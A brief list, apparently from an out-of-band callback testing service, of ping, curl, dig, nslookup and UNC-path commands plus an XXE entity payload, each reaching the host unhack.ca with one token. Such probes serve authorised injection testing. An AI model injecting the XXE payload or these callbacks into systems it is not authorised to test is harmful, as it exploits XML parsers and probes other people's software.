$ ping -c1 -p 00e62ff55c8cec8f1a8c6ad967e1ff00 unhack.ca
 

$ curl http://unhack.ca/p/e62ff55c8cec8f1a8c6ad967e1ff
 

$ dig e62ff55c8cec8f1a8c6ad967e1ff @unhack.ca
 

$ dig e62ff55c8cec8f1a8c6ad967e1ff.ns.unhack.ca
 

C:\> nslookup e62ff55c8cec8f1a8c6ad967e1ff unhack.ca
 

C:\> type \\unhack.ca\e62ff55c8cec8f1a8c6ad967e1ff\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e62ff55c8cec8f1a8c6ad967e1ff">]>
    <foo>&xxe;</foo>